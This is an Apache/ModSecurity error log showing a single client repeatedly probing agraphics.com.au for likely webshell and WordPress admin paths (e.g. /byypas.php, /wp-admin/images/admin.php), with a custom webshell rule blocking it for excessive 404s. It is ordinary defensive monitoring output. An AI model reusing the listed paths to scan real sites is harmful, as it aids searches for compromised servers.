[Thu Mar 26 16:52:55.403755 2026] [:error] [pid 31780:tid 31834] [client 4.232.84.11:64957] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "acTz55JDwZsy5O4ZXEh2SgAAAg0"]
[Thu Mar 26 16:52:55.943559 2026] [:error] [pid 31780:tid 31838] [client 4.232.84.11:65200] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "acTz55JDwZsy5O4ZXEh2TAAAAhE"]
[Thu Mar 26 16:52:56.504536 2026] [:error] [pid 31717:tid 31739] [client 4.232.84.11:64902] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "acTz6L-SCF7YDISDX4_PxQAAAZE"]
[Thu Mar 26 16:52:56.988925 2026] [:error] [pid 31778:tid 31804] [client 4.232.84.11:65470] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "acTz6A3kybI2o-xasmDfiwAAAcs"]
[Thu Mar 26 16:52:57.572001 2026] [:error] [pid 31778:tid 31794] [client 4.232.84.11:65135] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awh.php"] [unique_id "acTz6Q3kybI2o-xasmDfjgAAAcE"]
[Thu Mar 26 16:52:58.120716 2026] [:error] [pid 31778:tid 31798] [client 4.232.84.11:65346] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awh.php"] [unique_id "acTz6g3kybI2o-xasmDfkQAAAcU"]
[Thu Mar 26 16:52:58.604975 2026] [:error] [pid 19818:tid 19830] [client 4.232.84.11:65372] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awh.php"] [unique_id "acTz6szaSnm3d1BeM5XMBQAAAMo"]
[Thu Mar 26 16:52:59.603463 2026] [:error] [pid 31780:tid 31844] [client 4.232.84.11:65376] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awh.php"] [unique_id "acTz65JDwZsy5O4ZXEh2UAAAAhc"]
[Thu Mar 26 16:53:00.109796 2026] [:error] [pid 31670:tid 31684] [client 4.232.84.11:64619] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "acTz7DXVthXxCnWjOTRJNgAAAUw"]
[Thu Mar 26 16:53:00.587045 2026] [:error] [pid 31780:tid 31832] [client 4.232.84.11:65467] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "acTz7JJDwZsy5O4ZXEh2UwAAAgs"]
[Thu Mar 26 16:53:01.071442 2026] [:error] [pid 31717:tid 31741] [client 4.232.84.11:65149] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "acTz7b-SCF7YDISDX4_PxwAAAZM"]
[Thu Mar 26 16:53:01.601311 2026] [:error] [pid 19818:tid 19844] [client 4.232.84.11:64949] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "acTz7czaSnm3d1BeM5XMEQAAANg"]
[Thu Mar 26 16:53:02.208635 2026] [:error] [pid 19818:tid 19837] [client 4.232.84.11:65132] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "acTz7szaSnm3d1BeM5XMEgAAANE"]
[Thu Mar 26 16:53:02.943077 2026] [:error] [pid 60829:tid 60851] [client 4.232.84.11:65392] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "acTz7vTdjHKeZokybaSkwAAAARQ"]
[Thu Mar 26 16:53:03.617302 2026] [:error] [pid 31670:tid 31686] [client 4.232.84.11:65471] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "acTz7zXVthXxCnWjOTRJPAAAAU4"]
[Thu Mar 26 16:53:04.154735 2026] [:error] [pid 19818:tid 19835] [client 4.232.84.11:64293] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "acTz8MzaSnm3d1BeM5XMGQAAAM8"]
[Thu Mar 26 16:53:04.692250 2026] [:error] [pid 31780:tid 31831] [client 4.232.84.11:65369] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bo.php"] [unique_id "acTz8JJDwZsy5O4ZXEh2XgAAAgo"]
[Thu Mar 26 16:53:05.223613 2026] [:error] [pid 19818:tid 19824] [client 4.232.84.11:64877] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bo.php"] [unique_id "acTz8czaSnm3d1BeM5XMGgAAAMQ"]
[Thu Mar 26 16:53:05.765125 2026] [:error] [pid 19818:tid 19841] [client 4.232.84.11:65151] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bo.php"] [unique_id "acTz8czaSnm3d1BeM5XMHAAAANU"]
[Thu Mar 26 16:53:06.252147 2026] [:error] [pid 31780:tid 31845] [client 4.232.84.11:64920] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bo.php"] [unique_id "acTz8pJDwZsy5O4ZXEh2YgAAAhg"]
[Thu Mar 26 16:53:06.756069 2026] [:error] [pid 19818:tid 19833] [client 4.232.84.11:65367] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "acTz8szaSnm3d1BeM5XMIQAAAM0"]
[Thu Mar 26 16:53:07.314612 2026] [:error] [pid 31717:tid 31737] [client 4.232.84.11:65143] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "acTz87-SCF7YDISDX4_PygAAAY8"]
[Thu Mar 26 16:53:08.032510 2026] [:error] [pid 19818:tid 19828] [client 4.232.84.11:64869] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "acTz9MzaSnm3d1BeM5XMJAAAAMg"]
[Thu Mar 26 16:53:08.704215 2026] [:error] [pid 31717:tid 31740] [client 4.232.84.11:64881] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "acTz9L-SCF7YDISDX4_PzgAAAZI"]
[Thu Mar 26 16:53:09.349992 2026] [:error] [pid 31780:tid 31823] [client 4.232.84.11:64910] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "acTz9ZJDwZsy5O4ZXEh2bwAAAgM"]
[Thu Mar 26 16:53:09.985326 2026] [:error] [pid 31670:tid 31676] [client 4.232.84.11:65139] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "acTz9TXVthXxCnWjOTRJQgAAAUQ"]
[Thu Mar 26 16:53:10.517513 2026] [:error] [pid 31780:tid 31842] [client 4.232.84.11:64305] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "acTz9pJDwZsy5O4ZXEh2cQAAAhU"]
[Thu Mar 26 16:53:11.107088 2026] [:error] [pid 31670:tid 31688] [client 4.232.84.11:65447] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "acTz9zXVthXxCnWjOTRJQwAAAVA"]
[Thu Mar 26 16:53:11.699789 2026] [:error] [pid 31780:tid 31824] [client 4.232.84.11:65166] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "acTz95JDwZsy5O4ZXEh2cwAAAgQ"]
[Thu Mar 26 16:53:12.211348 2026] [:error] [pid 31780:tid 31825] [client 4.232.84.11:65371] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "acTz-JJDwZsy5O4ZXEh2eQAAAgU"]
[Thu Mar 26 16:53:13.098465 2026] [:error] [pid 31780:tid 31832] [client 4.232.84.11:65121] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "acTz-ZJDwZsy5O4ZXEh2fQAAAgs"]
[Thu Mar 26 16:53:13.645305 2026] [:error] [pid 19818:tid 19825] [client 4.232.84.11:65120] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "acTz-czaSnm3d1BeM5XMKwAAAMU"]
[Thu Mar 26 16:53:14.155927 2026] [:error] [pid 31670:tid 31675] [client 4.232.84.11:65214] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gm.php"] [unique_id "acTz-jXVthXxCnWjOTRJRwAAAUM"]
[Thu Mar 26 16:53:14.710923 2026] [:error] [pid 31670:tid 31677] [client 4.232.84.11:64889] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gm.php"] [unique_id "acTz-jXVthXxCnWjOTRJSQAAAUU"]
[Thu Mar 26 16:53:15.232136 2026] [:error] [pid 19711:tid 19751] [client 4.232.84.11:65179] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gm.php"] [unique_id "acTz-2j3l1y81GYfluSDxwAAAEI"]
[Thu Mar 26 16:53:16.280352 2026] [:error] [pid 19711:tid 19763] [client 4.232.84.11:64945] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gm.php"] [unique_id "acTz_Gj3l1y81GYfluSDygAAAE4"]
[Thu Mar 26 16:53:16.805544 2026] [:error] [pid 19712:tid 19793] [client 4.232.84.11:65364] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "acTz_NWhKhRNqm23vFMRDwAAAJE"]
[Thu Mar 26 16:53:17.349607 2026] [:error] [pid 31778:tid 31808] [client 4.232.84.11:65416] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "acTz_Q3kybI2o-xasmDfmQAAAc8"]
[Thu Mar 26 16:53:17.942158 2026] [:error] [pid 31670:tid 31679] [client 4.232.84.11:65366] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "acTz_TXVthXxCnWjOTRJUAAAAUc"]
[Thu Mar 26 16:53:19.318129 2026] [:error] [pid 19818:tid 19821] [client 4.232.84.11:64314] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "acTz_8zaSnm3d1BeM5XMLgAAAME"]
[Thu Mar 26 16:53:20.303999 2026] [:error] [pid 31778:tid 31803] [client 4.232.84.11:64624] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x1.php"] [unique_id "acT0AA3kybI2o-xasmDfngAAAco"]
[Thu Mar 26 16:53:20.816084 2026] [:error] [pid 60829:tid 60841] [client 4.232.84.11:65400] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x1.php"] [unique_id "acT0APTdjHKeZokybaSkzAAAAQo"]
[Thu Mar 26 16:53:21.363864 2026] [:error] [pid 31670:tid 31672] [client 4.232.84.11:65119] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x1.php"] [unique_id "acT0ATXVthXxCnWjOTRJVQAAAUA"]
[Thu Mar 26 16:53:21.945543 2026] [:error] [pid 31670:tid 31674] [client 4.232.84.11:65444] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x1.php"] [unique_id "acT0ATXVthXxCnWjOTRJXQAAAUI"]
[Thu Mar 26 16:53:22.697642 2026] [:error] [pid 31780:tid 31830] [client 4.232.84.11:64932] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "acT0ApJDwZsy5O4ZXEh2igAAAgk"]
[Thu Mar 26 16:53:23.529131 2026] [:error] [pid 31670:tid 31689] [client 4.232.84.11:64695] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "acT0AzXVthXxCnWjOTRJZQAAAVE"]
[Thu Mar 26 16:53:24.128075 2026] [:error] [pid 31670:tid 31688] [client 4.232.84.11:65360] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "acT0BDXVthXxCnWjOTRJaAAAAVA"]
[Thu Mar 26 16:53:24.865757 2026] [:error] [pid 31670:tid 31691] [client 4.232.84.11:65211] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "acT0BDXVthXxCnWjOTRJawAAAVM"]
[Thu Mar 26 16:53:25.707299 2026] [:error] [pid 31670:tid 31672] [client 4.232.84.11:64854] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "acT0BTXVthXxCnWjOTRJcQAAAUA"]
[Thu Mar 26 16:53:26.296745 2026] [proxy_fcgi:error] [pid 31670:tid 31679] [client 4.232.84.11:64922] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:53:26.577656 2026] [proxy_fcgi:error] [pid 31670:tid 31688] [client 4.232.84.11:64922] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:53:26.873492 2026] [proxy_fcgi:error] [pid 31670:tid 31681] [client 4.232.84.11:64922] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:53:27.140503 2026] [proxy_fcgi:error] [pid 31670:tid 31675] [client 4.232.84.11:64922] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:53:27.376514 2026] [proxy_fcgi:error] [pid 31670:tid 31673] [client 4.232.84.11:64922] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:53:27.650659 2026] [proxy_fcgi:error] [pid 31670:tid 31684] [client 4.232.84.11:64922] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:53:28.169765 2026] [proxy_fcgi:error] [pid 31670:tid 31681] [client 4.232.84.11:64922] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:53:28.411025 2026] [proxy_fcgi:error] [pid 31670:tid 31674] [client 4.232.84.11:64922] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:53:28.679578 2026] [proxy_fcgi:error] [pid 31670:tid 31692] [client 4.232.84.11:64922] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:53:28.915404 2026] [proxy_fcgi:error] [pid 31670:tid 31689] [client 4.232.84.11:64922] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:53:29.153368 2026] [:error] [pid 31670:tid 31695] [client 4.232.84.11:64922] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "acT0CTXVthXxCnWjOTRJjAAAAVc"]
[Thu Mar 26 16:53:29.829896 2026] [:error] [pid 19712:tid 19788] [client 4.232.84.11:64861] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "acT0CdWhKhRNqm23vFMREwAAAIw"]
[Thu Mar 26 16:53:30.520210 2026] [:error] [pid 60829:tid 60855] [client 4.232.84.11:65201] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "acT0CvTdjHKeZokybaSk1AAAARg"]
[Thu Mar 26 16:53:31.344844 2026] [:error] [pid 60829:tid 60839] [client 4.232.84.11:65388] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "acT0C_TdjHKeZokybaSk1QAAAQg"]
